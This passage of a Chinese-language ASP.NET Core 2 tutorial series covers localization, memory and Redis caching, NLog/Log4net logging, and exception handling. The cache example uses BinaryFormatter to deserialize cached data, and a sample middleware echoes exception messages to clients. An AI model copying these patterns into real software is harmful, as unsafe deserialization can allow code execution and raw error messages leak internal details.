                 + $"{_localizer["Hello"]}\r\n"
                 + $"{_sharedLocalizer["Hello"]}";
        }
    }
}

View

注入 IViewLocalizer 改成注入 IHtmlLocalizer,並指派型別,如下:

Views\Home\Index.cshtml

1
2
3
4
5
6
7
8
9
10
11
12
13
14
@using System.Globalization
@using Microsoft.AspNetCore.Mvc.Localization
@using MyWebsite.Models

@model SampleModel

@inject IViewLocalizer localizer
@inject IHtmlLocalizer<MyWebsite.SharedResource> sharedLocalizer

CurrentCulture: @CultureInfo.CurrentCulture.Name <br />
CurrentUICulture: @CultureInfo.CurrentUICulture.Name <br />
@localizer["Hello"]<br />
@Html.DisplayNameFor(m => m.Content)<br />
@sharedLocalizer["Hello"]<br />

執行結果

[鐵人賽 Day21] ASP.NET Core 2 系列 - 多國語言 (Localization) - 共用語系檔範例執行結果

參考

ASP.NET Core Globalization and localization

[鐵人賽 Day20] ASP.NET Core 2 系列 – 快取機制及 Redis Session

為了程式效率,通常會利用記憶體存取速度遠高於磁碟讀取的特性,把常用但不常變動資料放在記憶體中,提升取用資料的速度。ASP.NET Core 有提供好用的快取機制,不用自己實作控制資料的快取物件。
本篇將介紹 ASP.NET Core 的本機快取及分散式快取,並用使用分散式快取實作 Redis Session,避免 Web Application 重啟後,用戶要重新登入。

iT 邦幫忙 2018 鐵人賽 – Modern Web 組參賽文章:
[Day20] ASP.NET Core 2 系列 – 快取機制及 Redis Session

本機快取

本機快取是比較基本的資料快取方式,將資料存在 Web Application 的記憶體中。
如果是單一站台架構,沒有要同步快取資料,用本機快取應該都能滿足需求。

使用本機快取的方式很簡單,只要在 Startup.ConfigureServices 呼叫 AddMemoryCache,就能透過注入 IMemoryCache使用本機快取。如下:

Startup.cs

1
2
3
4
5
6
7
8
9
public class Startup
{
    public void ConfigureServices(IServiceCollection services)
    {
        services.AddMemoryCache();
        // ...
    }
    //...
}

Controllers\HomeController.cs

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
using Microsoft.Extensions.Caching.Memory;
//...
public class HomeController : Controller
{
    private static IMemoryCache _memoryCache;

    public HomeController(IMemoryCache memoryCache)
    {
        _memoryCache = memoryCache;
    }

    public IActionResult Index()
    {
        _memoryCache.Set("Sample", new UserModel()
        {
            Id = 1,
            Name = "John"
        });
        var model = _memoryCache.Get<UserModel>("Sample");
        return View(model);
    }
}

用 Get/Set 方法,就可以透過 Key 做為取值的識別,存放任何型別的資料。

分散式快取

當 ASP.NET Core 網站有橫向擴充,架設多個站台需求時,分散式快取就是一個很好的同步快取資料解決方案。
基本上就是 NoSQL 的概念,把分散式快取的資料位置,指向外部的儲存空間,如:SQL Server、Redis 等等。只要繼承 IDistributedCache,就可以被當作分散式快取的服務使用。

本機快取及分散式快取架構,如圖:

[鐵人賽 Day20] ASP.NET Core 2 系列 - 快取機制及 Redis Session - 本機快取及分散式快取架構

在 Startup.ConfigureServices 注入 IDistributedCache 使用分散式快取。如下:

Startup.cs

1
2
3
4
5
6
7
8
9
public class Startup
{
    public void ConfigureServices(IServiceCollection services)
    {
        services.AddDistributedMemoryCache();
        // ...
    }
    //...
}
  • AddDistributedMemoryCache
    是透過實作分散式快取的介面 IDistributedCache,將資料存於本機記憶體中。

Controllers\HomeController.cs

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
using Microsoft.Extensions.Caching.Distributed;
//...
public class HomeController : Controller
{
    private static IDistributedCache _distributedCache;

    public HomeController(IDistributedCache distributedCache)
    {
        _distributedCache = distributedCache;
    }

    public IActionResult Index()
    {
        _distributedCache.Set("Sample", ObjectToByteArray(new UserModel()
        {
            Id = 1,
            Name = "John"
        }));
        var model = ByteArrayToObject<UserModel>(_distributedCache.Get("Sample"));
        return View(model);
    }

    private byte[] ObjectToByteArray(object obj)
    {
        var binaryFormatter = new BinaryFormatter();
        using (var memoryStream = new MemoryStream())
        {
            binaryFormatter.Serialize(memoryStream, obj);
            return memoryStream.ToArray();
        }
    }

    private T ByteArrayToObject<T>(byte[] bytes)
    {
        using (var memoryStream = new MemoryStream())
        {
            var binaryFormatter = new BinaryFormatter();
            memoryStream.Write(bytes, 0, bytes.Length);
            memoryStream.Seek(0, SeekOrigin.Begin);
            var obj = binaryFormatter.Deserialize(memoryStream);
            return (T)obj;
        }
    }
}

IDistributedCache 的 Get/Set 不像 IMemoryCache 可以存取任意型別,IDistributedCache 的 Get/Set 只能存取 byte[] 型別,如果要將物件存入分散式快取,就必須將物件轉換成 byte[] 型別,或轉成字串型別用 GetString/SetString 存取於分散式快取。

如果要將物件透過 MemoryStream 序列化,記得在物件加上 [Serializable]

Redis Session

[鐵人賽 Day11] ASP.NET Core 2 系列 – Cookies & Session 有用到 AddDistributedMemoryCache,由於 Session 的儲存位置是依賴分散式快取,但沒有外部分散式快取可用,所以用繼承 IDistributedCache 的本機分散式快取頂著。

安裝套件

如果要在 ASP.NET Core 中使用的 Redis Cache,可以安裝 Microsoft 提供的套件 Microsoft.Extensions.Caching.Redis.Core
透過 .NET Core CLI 在專案資料夾執行安裝指令:

1
dotnet add package Microsoft.Extensions.Caching.Redis.Core

設定 Redis Cache

安裝完成後,將 Startup.ConfigureServices 註冊的分散式快取服務,從 AddDistributedMemoryCache 改成 AddDistributedRedisCache。如下:

Startup.cs

1
2
3
4
5
6
7
8
9
10
11
12
13
14
public class Startup
{
    public void ConfigureServices(IServiceCollection services)
    {
        //services.AddDistributedMemoryCache();
        services.AddDistributedRedisCache(options =>
            {
                // Redis Server 的 IP 跟 Port
                options.Configuration = "192.168.99.100:6379";
            });
        // ...
    }
    //...
}

這樣就完成將分散式快取指向 Redis Cache,Session 的註冊方式同 [Day11]
只要設定 AddDistributedRedisCache 就可以使用 Redis Session 了,輕鬆簡單。

ASP.NET MVC 比較

ASP.NET Core 的 Redis Session 跟 ASP.NET MVC 普遍用的 StackExchange.Redis 的運行方式有很大的差異。

  • ASP.NET MVC Redis Session
    StackExchange.Redis 在使用 Redis 時,是把 Website 的 Session 備份到 Redis,讀取還是在 Website 的記憶體,寫入的話會再度備份到 Redis。
    也就是說 Session 會存在於 Website 及 Redis Cache 中,HA 的概念。
    可以試著把 Redis Cache 中 Session 清掉,當使用者下一個 Requset 來的時候,又會重新出現在 Redis Cache 中。
    運行方式如下圖:
    [鐵人賽 Day20] ASP.NET Core 2 系列 - 快取機制及 Redis Session - ASP.NET MVC - Redis Session 運行方式
  • ASP.NET Core Redis Session
    IDistributedCache 運做方式變成 Session 直接在 Redis Cache 存取,如果把 Redis Cache 中 Session 清掉,當使用者下一個 Requset 來的時候,就會發現 Session 被清空了。
    運行方式如下圖:
    [鐵人賽 Day20] ASP.NET Core 2 系列 - 快取機制及 Redis Session - ASP.NET Core - Redis Session 運行方式

參考

In-memory caching in ASP.NET Core
Working with a distributed cache in ASP.NET Core

[鐵人賽 Day19] ASP.NET Core 2 系列 – NLog & Log4net

ASP.NET Core 提供的 Logging API,不僅可以方便調用 Logger,且支援多種 Log 輸出,也能把 Log 發送到多個地方,並支援第三方的 Logging Framework 套件。
本篇將介紹 ASP.NET Core 的 Logging 搭配第三方 Logging Framework 套件,NLog 及 Log4net 的範例。

iT 邦幫忙 2018 鐵人賽 – Modern Web 組參賽文章:
[Day19] ASP.NET Core 2 系列 – NLog & Log4net

NLog

NLog 是 .NET 的熱門 Logging Framework;而且還是 ASP.NET Core 官方第三方 Logging Framework 推薦名單之一。

安裝套件

ASP.NET Core 使用 NLog 需要安裝 NLog 及 NLog.Web.AspNetCore 套件。
透過 .NET Core CLI 在專案資料夾執行安裝指令:

1
2
dotnet add package NLog -v 4.5.0-rc02
dotnet add package NLog.Web.AspNetCore -v 4.5.0-rc2

.NET Core 的版本目前還是 RC 版。

組態設定檔

新增一個 nlog.config 的檔案如下:

nlog.config

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<?xml version="1.0" encoding="utf-8" ?>
<nlog 
  xmlns="http://www.nlog-project.org/schemas/NLog.xsd" 
  xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" 
  autoReload="true" 
  internalLogLevel="info" 
  internalLogFile="C:\Logs\MyWebsite\nlog-internal.txt">
  <targets>
    <!-- write logs to file  -->
    <target xsi:type="File" name="ALL" 
      fileName="C:\Logs\MyWebsite\nlog-all_${shortdate}.log" 
      layout="${longdate}|${event-properties:item=EventId.Id}|${uppercase:${level}}|${logger}|${message} ${exception}" />
  </targets>
  <rules>
    <logger name="*" minlevel="Trace" writeTo="ALL" />
  </rules>
</nlog>

NLog 組態設定可以參考:NLog Configuration file

在 Program.Main 啟動時載入 NLog 組態設定檔,並在 WebHost Builder 注入 NLog 服務。

Program.cs

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
using Microsoft.AspNetCore;
using Microsoft.AspNetCore.Hosting;
using NLog.Web;

namespace MyWebsite
{
    public class Program
    {
        public static void Main(string[] args)
        {
            NLogBuilder.ConfigureNLog("nlog.config").GetCurrentClassLogger();
            BuildWebHost(args).Run();
        }

        public static IWebHost BuildWebHost(string[] args)
        {
            return WebHost.CreateDefaultBuilder(args)
                .UseStartup<Startup>()
                .UseNLog()
                .Build();
        }
    }
}

Log 輸出範例延續前篇[鐵人賽 Day18] ASP.NET Core 2 系列 – Logging
以下 Log 輸出都是以前篇的 Home.Index() 做為範例。

輸出結果如下:

C:\Logs\MyWebsite\nlog-all_2018-01-07.log

1
2
3
4
5
6
7
8
9
10
2018-01-07 00:27:32.6339||INFO|Microsoft.AspNetCore.DataProtection.KeyManagement.XmlKeyManager|User profile is available. Using 'C:\Users\john.wu\AppData\Local\ASP.NET\DataProtection-Keys' as key repository and Windows DPAPI to encrypt keys at rest. 
2018-01-07 00:27:33.1149||INFO|Microsoft.AspNetCore.Hosting.Internal.WebHost|Request starting HTTP/1.1 GET http://localhost:5000/   
2018-01-07 00:27:33.1969||INFO|Microsoft.AspNetCore.Mvc.Internal.ControllerActionInvoker|Executing action method MyWebsite.HomeController.Index (MyWebsite) with arguments ((null)) - ModelState is Valid 
2018-01-07 00:27:33.1999||INFO|MyWebsite.HomeController|This information log from Home.Index() 
2018-01-07 00:27:33.1999||WARN|MyWebsite.HomeController|This warning log from Home.Index() 
2018-01-07 00:27:33.1999||ERROR|MyWebsite.HomeController|This error log from Home.Index() 
2018-01-07 00:27:33.1999||FATAL|MyWebsite.HomeController|This critical log from Home.Index() 
2018-01-07 00:27:33.2219||INFO|Microsoft.AspNetCore.Mvc.Internal.ObjectResultExecutor|Executing ObjectResult, writing value Microsoft.AspNetCore.Mvc.ControllerContext. 
2018-01-07 00:27:33.2459||INFO|Microsoft.AspNetCore.Mvc.Internal.ControllerActionInvoker|Executed action MyWebsite.HomeController.Index (MyWebsite) in 56.8935ms 
2018-01-07 00:27:33.2519||INFO|Microsoft.AspNetCore.Hosting.Internal.WebHost|Request finished in 137.5115ms 200 text/plain; charset=utf-8

安裝完套件後,只要加一個設定檔及兩行程式碼就完成,可說是非常的友善使用。

Log4net

從網路上各方訊息看來,Log4net 應該是 .NET 最熱門的 Logging Framework,我個人也是習慣用 Log4net。

安裝套件

.NET Core 使用 Log4net 需要安裝 log4net 套件。
透過 .NET Core CLI 在專案資料夾執行安裝指令:

1
dotnet add package log4net

組態設定檔

新增一個 log4net.config 的檔案如下:

log4net.config

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
<?xml version="1.0" encoding="utf-8" ?>
<configuration>
  <log4net>
    <appender name="All" type="log4net.Appender.RollingFileAppender">
      <file value="C:\Logs\MyWebsite\log4net-all" />
      <appendToFile value="true" />
      <rollingStyle value="Composite" />
      <datePattern value="_yyyy-MM-dd.lo\g" />
      <maximumFileSize value="5MB" />
      <maxSizeRollBackups value="15" />
      <staticLogFileName value="false" />
      <PreserveLogFileNameExtension value="true" />
      <layout type="log4net.Layout.PatternLayout">
        <conversionPattern value="%date [%thread] %level %logger - %message%newline" />
      </layout>
    </appender>
    <root>
      <appender-ref ref="All" />
    </root>
  </log4net>
</configuration>

Log4net 組態設定可以參考:Apache log4net Manual – Configuration

在 Program.Main 啟動時載入 Log4net 組態設定檔。

Program.cs

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
using System.IO;
using System.Reflection;
using log4net;
using log4net.Config;
using Microsoft.AspNetCore;
using Microsoft.AspNetCore.Hosting;

namespace MyWebsite
{
    public class Program
    {
        private readonly static ILog _log = LogManager.GetLogger(typeof(Program));

        public static void Main(string[] args)
        {
            LoadLog4netConfig();
            _log.Info("Application Start");
            BuildWebHost(args).Run();
        }

        public static IWebHost BuildWebHost(string[] args)
        {
            return WebHost.CreateDefaultBuilder(args)
                .UseStartup<Startup>()
                .Build();
        }

        private static void LoadLog4netConfig()
        {
            var repository = LogManager.CreateRepository(
                    Assembly.GetEntryAssembly(),
                    typeof(log4net.Repository.Hierarchy.Hierarchy)
                );
            XmlConfigurator.Configure(repository, new FileInfo("log4net.config"));
        }
    }
}

載入 Log4net 組態設定後,就可以直接操作 _log 物件寫 Log,用法就跟過去 .NET Framework 一樣。
但 Log4net 沒有實作 ASP.NET Core 的 Logging API,所以沒辦法透過注入 ILogger 寫 Log4net 的 Log。

難怪 ASP.NET Core 官方不推 Log4net…

ILogger

既然 Log4net 沒有實作 ILogger,就自己做吧!
建立一個 Log4netLogger.cs,內容如下:

Log4netLogger.cs

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
using System;
using System.IO;
using System.Reflection;
using log4net;
using log4net.Config;
using Microsoft.Extensions.Logging;

namespace MyWebsite
{
    public class Log4netLogger : ILogger
    {
        private readonly ILog _log;

        public Log4netLogger(string name, FileInfo fileInfo)
        {
            var repository = LogManager.CreateRepository(
                    Assembly.GetEntryAssembly(),
                    typeof(log4net.Repository.Hierarchy.Hierarchy)
                );
            XmlConfigurator.Configure(repository, fileInfo);
            _log = LogManager.GetLogger(repository.Name, name);
        }

        public IDisposable BeginScope<TState>(TState state)
        {
            return null;
        }

        public bool IsEnabled(LogLevel logLevel)
        {
            switch (logLevel)
            {
                case LogLevel.Critical: return _log.IsFatalEnabled;
                case LogLevel.Debug:
                case LogLevel.Trace: return _log.IsDebugEnabled;
                case LogLevel.Error: return _log.IsErrorEnabled;
                case LogLevel.Information: return _log.IsInfoEnabled;
                case LogLevel.Warning: return _log.IsWarnEnabled;
                default: 
                    throw new ArgumentOutOfRangeException(nameof(logLevel));
            }
        }

        public void Log<TState>(LogLevel logLevel, EventId eventId, TState state,
            Exception exception, Func<TState, Exception, string> formatter)
        {
            if (!IsEnabled(logLevel))
            {
                return;
            }
            if (formatter == null)
            {
                throw new ArgumentNullException(nameof(formatter));
            }
            string message = null;
            if (null != formatter)
            {
                message = formatter(state, exception);
            }
            if (!string.IsNullOrEmpty(message) || exception != null)
            {
                switch (logLevel)
                {
                    case LogLevel.Critical: _log.Fatal(message); break;
                    case LogLevel.Debug:
                    case LogLevel.Trace: _log.Debug(message); break;
                    case LogLevel.Error: _log.Error(message); break;
                    case LogLevel.Information: _log.Info(message); break;
                    case LogLevel.Warning: _log.Warn(message); break;
                    default: 
                        _log.Warn($"Unknown log level {logLevel}.\r\n{message}"); 
                        break;
                }
            }
        }
    }
}

由於 Log4net 的 Log Level 跟 ASP.NET Core Logger API 的級別不一致,所以要將 Log Level 的事件做相對的對應。

ILoggerProvider。

ILogger 主要是透過 Logger Provider 產生,所以需要實作 ILoggerProvider
建立一個 Log4netProvider.cs,內容如下:

Log4netProvider.cs

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
using System.IO;
using Microsoft.Extensions.Logging;

namespace MyWebsite
{
    public class Log4netProvider : ILoggerProvider
    {
        private readonly FileInfo _fileInfo;

        public Log4netProvider(string log4netConfigFile)
        {
            _fileInfo = new FileInfo(log4netConfigFile);
        }

        public ILogger CreateLogger(string name)
        {
            return new Log4netLogger(name, _fileInfo);
        }

        public void Dispose()
        {
        }
    }
}

將 Log4netProvider 註冊到 WebHost 的 ConfigureLogging 中。

Program.cs

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
using Microsoft.AspNetCore;
using Microsoft.AspNetCore.Hosting;
using Microsoft.Extensions.Logging;

namespace MyWebsite
{
    public class Program
    {
        public static void Main(string[] args)
        {
            BuildWebHost(args).Run();
        }

        public static IWebHost BuildWebHost(string[] args)
        {
            return WebHost.CreateDefaultBuilder(args)
                .ConfigureLogging(logging => {
                    logging.AddProvider(new Log4netProvider("log4net.config"));
                })
                .UseStartup<Startup>()
                .Build();
        }
    }
}

如此一來,也能透過 ASP.NET Core 的 Logger API 寫出 Log4net 的 Log 了。

輸出結果如下:

C:\Logs\MyWebsite\log4net-all_2018-01-07.log

1
2
3
4
5
6
7
8
9
10
2018-01-07 00:56:46,673 [1] INFO Microsoft.AspNetCore.DataProtection.KeyManagement.XmlKeyManager - User profile is available. Using 'C:\Users\john.wu\AppData\Local\ASP.NET\DataProtection-Keys' as key repository and Windows DPAPI to encrypt keys at rest.
2018-01-07 00:56:47,167 [17] INFO Microsoft.AspNetCore.Hosting.Internal.WebHost - Request starting HTTP/1.1 GET http://localhost:5000/  
2018-01-07 00:56:47,261 [17] INFO Microsoft.AspNetCore.Mvc.Internal.ControllerActionInvoker - Executing action method MyWebsite.HomeController.Index (MyWebsite) with arguments ((null)) - ModelState is Valid
2018-01-07 00:56:47,265 [17] INFO MyWebsite.HomeController - This information log from Home.Index()
2018-01-07 00:56:47,266 [17] WARN MyWebsite.HomeController - This warning log from Home.Index()
2018-01-07 00:56:47,268 [17] ERROR MyWebsite.HomeController - This error log from Home.Index()
2018-01-07 00:56:47,269 [17] FATAL MyWebsite.HomeController - This critical log from Home.Index()
2018-01-07 00:56:47,278 [17] INFO Microsoft.AspNetCore.Mvc.Internal.ObjectResultExecutor - Executing ObjectResult, writing value Microsoft.AspNetCore.Mvc.ControllerContext.
2018-01-07 00:56:47,303 [17] INFO Microsoft.AspNetCore.Mvc.Internal.ControllerActionInvoker - Executed action MyWebsite.HomeController.Index (MyWebsite) in 52.7449ms
2018-01-07 00:56:47,305 [17] INFO Microsoft.AspNetCore.Hosting.Internal.WebHost - Request finished in 141.4295ms 200 text/plain; charset=utf-8

參考

Introduction to Logging in ASP.NET Core
NLog – Getting started with ASP.NET Core 2
How to use Log4Net with ASP.NET Core for logging

[鐵人賽 Day18] ASP.NET Core 2 系列 – Logging

ASP.NET Core 提供了好用的 Logging API,預設就已經將 Logger 物件放進 DI 容器,能直接透過 DI 取用記錄 Log 的物件。
本篇將介紹 ASP.NET Core 的 Logging 使用方式。

iT 邦幫忙 2018 鐵人賽 – Modern Web 組參賽文章:
[Day18] ASP.NET Core 2 系列 – Logging

Logger

ASP.NET Core 2 預設就把 Logger 放進 DI 容器,能直接透過 DI 取用 ILogger 實例。如下:

Controllers\HomeController.cs

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
using Microsoft.AspNetCore.Mvc;
using Microsoft.Extensions.Logging;

namespace MyWebsite.Controllers
{
    public class HomeController : Controller
    {
        private readonly ILogger _logger;
        
        public HomeController(ILogger<HomeController> logger)
        {
            _logger = logger;
        }
        
        public string Index() {
            _logger.LogTrace("This trace log from Home.Index()");
            _logger.LogDebug("This debug log from Home.Index()");
            _logger.LogInformation("This information log from Home.Index()");
            _logger.LogWarning("This warning log from Home.Index()");
            _logger.LogError("This error log from Home.Index()");
            _logger.LogCritical("This critical log from Home.Index()");
            return "Home.Index()";
        }
    }
}

以下都會用 Home.Index() 做為 Log 輸出的範例。

透過指令執行 dotnet run,就可以看到 Log 訊息:

[鐵人賽 Day18] ASP.NET Core 2 系列 - Logging - Sample

會發現上例預期輸出 6 筆 Log,但實際上確出現一大堆 Log,其中只有 4 筆 Log 是由 Home.Index() 輸出。

Log Level

ASP.NET Core 的 Log 有分為以下六種:

  • Trace (Log Level = 0)
    此類 Log 通常用於開發階段,讓開發人員檢查資料使用,可能會包含一些帳號密碼等敏感資料,不適合也不應該出現在正式環境的 Log 中。 (預設不會輸出)
  • Debug (Log Level = 1)
    這類型的 Log 是為了在正式環境除錯使用,但平常不應該開啟,避免 Log 量太大,反而會造成正式環境的問題。 (預設不會輸出)
  • Information (Log Level = 2)
    常見的 Log 類型,主要是紀錄程試運行的流程。
  • Warning (Log Level = 3)
    紀錄可預期的錯誤或者效能不佳的事件;不改不會死,但改了會更好的問題。
  • Error (Log Level = 4)
    紀錄非預期的錯誤,不該發生但卻發生,應該要避免重複發生的錯誤事件。
  • Critical (Log Level = 5)
    只要發生就準備見上帝的錯誤事件,例如會導致網站重啟,系統崩潰的事件。

若要變更 Log 輸出等級,可以打開 Program.Main 在 WebHost Builder 加入 ConfigureLogging 設定。

Program.cs

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
using Microsoft.AspNetCore;
using Microsoft.AspNetCore.Hosting;
using Microsoft.Extensions.Logging;

namespace MyWebsite
{
    public class Program
    {
        public static void Main(string[] args)
        {
            BuildWebHost(args).Run();
        }

        public static IWebHost BuildWebHost(string[] args)
        {
            return WebHost.CreateDefaultBuilder(args)
                .UseStartup<Startup>()
                .ConfigureLogging(logging => logging.SetMinimumLevel(LogLevel.Trace))
                .Build();
        }
    }
}

Log Filter

大部都是 Microsoft.AspNetCore 輸出的 Log,但這類型的 Log 你可能不需要關注。如下:

[鐵人賽 Day18] ASP.NET Core 2 系列 - Logging - Log Filter

外部參考的套件,通常只需要關注有沒有 Error 層級以上的錯誤。
因此,可以透過外部檔案設定 Log Level,過濾掉一些你不需要關注的 Log。
建立一個 settings.json 的檔案,依照需求增減 Log 過濾條件。內容如下:

Configuration\settings.json

1
2
3
4
5
6
7
8
9
10
{
    "Logging": {
        "LogLevel": {
            "Default": "Debug",
            "MyWebsite": "Trace",
            "System": "Error",
            "Microsoft": "Error"
        }
    }
}
  • Default
    預設會紀錄 Debug 以上層級的 Log。
  • MyWebsite
    當遇到 Log 來源的 namespace 是 MyWebsite 時,就會紀錄 Trace 以上層級的 Log。
  • System & Microsoft
    當遇到 Log 來源的 namespace 是 System 或 Microsoft 時,只紀錄 Error 以上層級的 Log。

在 Program.Main 的 ConfigureLogging 設定 Log 組態檔。

Program.cs

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
using System.IO;
using Microsoft.AspNetCore;
using Microsoft.AspNetCore.Hosting;
using Microsoft.Extensions.Configuration;
using Microsoft.Extensions.Logging;

namespace MyWebsite
{
    public class Program
    {
        public static void Main(string[] args)
        {
            BuildWebHost(args).Run();
        }

        public static IWebHost BuildWebHost(string[] args)
        {
            return WebHost.CreateDefaultBuilder(args)
                .UseStartup<Startup>()
                .ConfigureLogging((hostContext, logging) =>
                {
                    var env = hostContext.HostingEnvironment;
                    var configuration = new ConfigurationBuilder()
                        .SetBasePath(Path.Combine(env.ContentRootPath, "Configuration"))
                        .AddJsonFile(path: "settings.json", optional: true, reloadOnChange: true)
                        .Build();
                    logging.AddConfiguration(configuration.GetSection("Logging"));
                })
                .Build();
        }
    }
}

GetSection 是指定從 Configuration\settings.json 檔的 Logging 區塊讀取內容。

輸出結果:

[鐵人賽 Day18] ASP.NET Core 2 系列 - Logging - Log Filter

參考

Introduction to Logging in ASP.NET Core

[鐵人賽 Day17] ASP.NET Core 2 系列 – 例外處理 (Exception Handler)

例外處理(Exception Handler)算是程式開發蠻重要的一件事,尤其程式暴露在外,要是不小心顯示了什麼不該讓使用者看到的東西就糟糕了。
要在 ASP.NET Core 做一個通用的 Exception Handler 可以透過 Middleware 或 Filter,但兩者之間的執行週期確大不相同。
本篇將介紹 ASP.NET Core 透過 Middleware 及 Filter 異常處理的差異。

iT 邦幫忙 2018 鐵人賽 – Modern Web 組參賽文章:
[Day17] ASP.NET Core 2 系列 – 例外處理 (Exception Handler)

實做 Exception Handler 前,需要先了解 Middleware 及 Filter 的特性。
可以參考這兩篇:

Exception Filter

Exception Filter 僅能補捉到 Action 及 Action Filter 所發出的 Exception。
其它的類型的 Filter 或 Middleware 產生的 Exception,並沒有辦法透過 Exception Filter 攔截。
如果要做全站的通用的 Exception Handler,可能就沒有這麼合適。

Exception Filter 範例:

ExceptionFilter.cs

1
2
3
4
5
6
7
8
9
10
// ...
public class ExceptionFilter : IAsyncExceptionFilter
{
    public Task OnExceptionAsync(ExceptionContext context)
    {
        context.HttpContext.Response
            .WriteAsync($"{GetType().Name} catch exception. Message: {context.Exception.Message}");
        return Task.CompletedTask;
    }
}

Exception Filter 全域註冊:

Startup.cs

1
2
3
4
5
6
7
8
9
10
11
// ...
public class Startup
{
    public void ConfigureServices(IServiceCollection services)
    {
        services.AddMvc(config =>
        {
            config.Filters.Add(new ExceptionFilter());
        });
    }
}

除非註冊了兩個以上的 Exception Filter,不然 Filter 註冊的先後順序並不重要,執行順序是依照 Filter 的類型,同類型的 Filter 才會關係到註冊的先後順序。

Exception Middleware

Middleware 註冊的層級可以在 Filters 的外層,也就是說所有的 Filter 都會經過 Middleware。
如果再把 Exception Middleware 註冊在所有 Middleware 的最外層,就可以變成全站的 Exception Handler。
Exception Handler 層級示意圖如下:ASP.NET Core 教學 - Exception Handler 層級

Exception Middleware 範例:

ExceptionMiddleware.cs

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
// ...
public class ExceptionMiddleware
{
    private readonly RequestDelegate _next;

    public ExceptionMiddleware(RequestDelegate next)
    {
        _next = next;
    }

    public async Task Invoke(HttpContext context)
    {
        try
        {
            await _next(context);
        }
        catch (Exception ex)
        {
            await context.Response
                .WriteAsync($"{GetType().Name} catch exception. Message: {ex.Message}");
        }
    }
}

Exception Middleware 全域註冊:

Startup.cs

1
2
3
4
5
6
7
8
9
// ...
public class Startup
{
    public void Configure(IApplicationBuilder app)
    {
        app.UseMiddleware<ExceptionMiddleware>();
        // Other Middleware...
    }
}

Middleware 的註冊順序很重要,越先註冊的會包在越外層。
把 ExceptionMiddleware 註冊在越外層,能涵蓋的範圍就越多。

Exception Handler

ASP.NET Core 有提供 Exception Handler 的 Pipeline,底層就是用上述 Exception Middleware 的做法,在 Application Builder 使用 UseExceptionHandler 指定錯誤頁面。

Startup.cs

1
2
3
4
5
6
7
8
9
// ...
public class Startup
{
    public void Configure(IApplicationBuilder app)
    {
        app.UseExceptionHandler("/error");
        // Other Middleware...
    }
}

用以下範例模擬錯誤發生:

Controllers\HomeController.cs

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
using Microsoft.AspNetCore.Mvc;

namespace MyWebsite.Controllers
{
    public class HomeController : Controller
    {
        public void Index()
        {
            throw new System.Exception("This is exception sample from Index().");
        }

        [Route("/api/test")]
        public string Test()
        {
            throw new System.Exception("This is exception sample from Test().");
        }

        [Route("/error")]
        public IActionResult Error()
        {
            return View();
        }
    }
}

Views\Shared\Error.cshtml

1
2
3
4
5
6
7
8
9
<!DOCTYPE html>
<html>
    <head>
        <title>Error</title>
    </head>
    <body>
        <p>This is error page.</p>
    </body>
</html>

當連入 http://localhost:5000/ 發生錯誤後,就會回傳顯示 This is error page. 的頁面。

注意!不會轉址到 http://localhost:5000/error,而是直接回傳 HomeController.Error() 的內容。

ExceptionHandlerOptions

如果網站中混用 Web API,當 API 發生錯誤時,依然回傳 HomeController.Error() 的內容,就會顯得很奇怪。UseExceptionHandler 除了可以指派錯誤頁面外,也可以自己實作錯誤發生的事件。

Startup.cs

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
// ...
public class Startup
{
    public void Configure(IApplicationBuilder app)
    {
        app.UseExceptionHandler(new ExceptionHandlerOptions()
        {
            ExceptionHandler = async context =>
            {
                bool isApi = Regex.IsMatch(context.Request.Path.Value, "^/api/", RegexOptions.IgnoreCase);
                if (isApi)
                {
                    context.Response.ContentType = "application/json";
                    var json = @"{ ""Message"": ""Internal Server Error"" }";
                    await context.Response.WriteAsync(json);
                    return;
                }
                context.Response.Redirect("/error");
            }
        });
        // Other Middleware...
    }
}

這次特別處理了 API 的錯誤,當連入 http://localhost:5000/api/* 發生錯誤時,就會回傳 JSON 格式的錯誤。

1
2
3
{ 
    "Message": "Internal Server Error" 
}

同時把 MVC 發生錯誤的行為,改用轉址的方式轉到 http://localhost:5000/error

UseDeveloperExceptionPage

通常在開發期間,還是希望能直接看到錯誤資訊,會比較方便除錯。UseDeveloperExceptionPage 是 ASP.NET Core 提供的錯誤資訊頁面服務,可以在 Application Builder 注入。
在 Startup.Configure 注入 IHostingEnvironment 取得環境變數,判斷在開發階段才套用,反之則用 Exception Handler。

Startup.cs

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
// ...
public class Startup
{
    public void Configure(IApplicationBuilder app, IHostingEnvironment env)
    {
        // 暫時測試可以直接指派環境名稱
        // env.EnvironmentName = EnvironmentName.Development;
        if (env.IsDevelopment())
        {
            app.UseDeveloperExceptionPage();
        }
        else
        {
            app.UseExceptionHandler("/error");
        }
        // Other Middleware...
    }
}

env.IsDevelopment() 是從 ASPNETCORE_ENVIRONMENT 而來。
